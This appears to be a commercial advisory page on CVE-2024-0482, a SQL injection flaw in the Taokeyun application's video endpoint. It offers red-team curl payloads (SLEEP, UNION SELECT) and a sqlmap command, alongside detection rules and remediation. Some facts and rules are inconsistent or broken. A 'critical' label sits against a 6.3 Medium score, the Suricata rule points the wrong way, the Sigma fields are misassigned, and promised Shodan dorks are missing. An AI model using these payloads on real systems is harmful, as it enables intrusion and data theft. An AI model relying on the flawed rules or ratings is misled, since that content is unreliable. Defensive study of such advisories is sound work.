CVE-2024-0482
Executive Summary
CVE-2024-0482 is a critical SQL injection vulnerability discovered in the Taokeyun application, affecting versions up to and including 1.0.5. The flaw resides in the index function of the /application/index/controller/app/Video.php file, specifically within the HTTP POST request handler. By manipulating the cid argument, an unauthenticated remote attacker can inject arbitrary SQL commands, leading to potential data exfiltration, modification, or denial of service. The exploit has been publicly disclosed, increasing the risk of active exploitation. No official patch is currently available, making this a high-priority issue for any organization using Taokeyun.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a direct application-level flaw in the Taokeyun PHP application. Organizations should treat this as a critical supply chain risk if they have integrated Taokeyun into their infrastructure.
CVSS Breakdown & Threat Level
- CVSS Score: 6.3 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
- Attack Vector: Network (AV:N) - Exploitable remotely.
- Attack Complexity: Low (AC:L) - No special conditions required.
- Privileges Required: None (PR:N) - No authentication needed.
- User Interaction: None (UI:N) - No user action required.
- Scope: Unchanged (S:U) - Impact confined to the vulnerable component.
- Confidentiality Impact: Low (C:L) - Limited data access possible.
- Integrity Impact: Low (I:L) - Limited data modification possible.
- Availability Impact: Low (A:L) - Potential for service disruption.
Threat Level: High. The combination of remote exploitability, low complexity, and public exploit code makes this a significant threat. The lack of a patch further elevates the risk.
Deep Dive & Mechanics
The vulnerability is a classic SQL injection in the index method of Video.php. The application fails to properly sanitize the cid parameter before using it in a SQL query. An attacker can inject SQL commands by sending a crafted POST request to the vulnerable endpoint.
Vulnerable Code Snippet (Conceptual):
// application/index/controller/app/Video.php
public function index() {
$cid = input('post.cid');
$result = db('video')->where('id', $cid)->select();
// ...
}
The input() function likely retrieves the cid parameter without proper filtering, and the where clause directly concatenates the user input into the SQL query.
Exploitation Mechanics:
- The attacker sends a POST request to the vulnerable endpoint with a malicious
cidvalue. - The injected SQL is executed by the database, allowing the attacker to bypass authentication, extract data, or modify records.
- Common payloads include
UNION SELECTstatements to retrieve data from other tables orOR 1=1to bypass logic.
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual):
$cid = input('post.cid');
$result = db('video')->where('id', $cid)->select();
Patched Code (Conceptual):
$cid = input('post.cid', '', 'intval'); // or use parameterized queries
$result = db('video')->where('id', $cid)->select();
The patched version uses intval to ensure the cid is an integer, or ideally, uses parameterized queries to prevent injection entirely. Since no official patch exists, this is a recommended mitigation.
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- A vulnerable Taokeyun instance (version <= 1.0.5).
- A tool like
curl,Burp Suite, or a custom script.
Exploitation Steps:
- Identify the vulnerable endpoint (e.g.,
http://target.com/index.php/app/video/index). - Send a POST request with a malicious
cidparameter.
Example Payload (Time-based blind SQLi):
curl -X POST http://target.com/index.php/app/video/index \
-d "cid=1 AND SLEEP(5)"
Example Payload (UNION-based data extraction):
curl -X POST http://target.com/index.php/app/video/index \
-d "cid=1 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100-- -"
Automated Exploitation:
Use sqlmap for automated exploitation:
sqlmap -u "http://target.com/index.php/app/video/index" --data="cid=1" --batch --dbs
Blue Team (Defensive)
Detection:
- Monitor for POST requests to
/index.php/app/video/indexwith unusualcidparameters. - Look for SQL keywords like
UNION,SELECT,SLEEP,ORin thecidparameter. - Use WAF rules to block common SQL injection patterns.
Honeypot: Deploy a decoy Taokeyun instance to capture attacker behavior.
Indicators of Compromise (IOCs)
- Network IOCs:
- POST requests to
/index.php/app/video/indexwithcidparameter containing SQL syntax. - Outbound database connections from the web server to unexpected IPs.
- POST requests to
- File IOCs:
- Suspicious entries in web server logs (e.g.,
access.log) showing SQL injection attempts.
- Suspicious entries in web server logs (e.g.,
- System IOCs:
- Unexpected database queries or errors in application logs.
- Modified or exfiltrated data in the
videotable.
Detection Engineering
YARA Rule
rule CVE_2024_0482_SQLi_Detection {
meta:
description = "Detects SQL injection attempts targeting CVE-2024-0482 in Taokeyun"
author = "Valters IT"
date = "2024-01-01"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-0482"
strings:
$s1 = "cid=" nocase
$s2 = "UNION" nocase
$s3 = "SELECT" nocase
$s4 = "SLEEP" nocase
$s5 = "OR 1=1" nocase
condition:
all of ($s1, $s2, $s3) or all of ($s1, $s4) or all of ($s1, $s5)
}
Sigma Rule
title: CVE-2024-0482 Taokeyun SQL Injection Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects SQL injection attempts against Taokeyun Video.php endpoint
author: Valters IT
date: 2024/01/01
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-query: '/index.php/app/video/index'
cs-uri-query|contains: 'cid='
cs-uri-query|contains|all:
- 'UNION'
- 'SELECT'
condition: selection
falsepositives:
- Legitimate use of UNION in rare cases
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-0482 Taokeyun SQL Injection Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/index.php/app/video/index"; http_uri; content:"cid="; http_client_body; pcre:"/(UNION|SELECT|SLEEP|OR\s+1=1)/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Isolate the Taokeyun application from the internet if possible.
- Apply a WAF rule to block SQL injection patterns in the
cidparameter. - Monitor logs for exploitation attempts.
Long-term Fix:
- Upgrade to a patched version once available.
- Implement input validation (e.g., ensure
cidis an integer). - Use parameterized queries or prepared statements in the application code.
- Conduct a security audit of the entire Taokeyun codebase.
Workaround:
- Modify the
Video.phpfile to sanitize thecidparameter:
$cid = intval(input('post.cid'));
Valters IT
Securing Your Digital Frontier
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.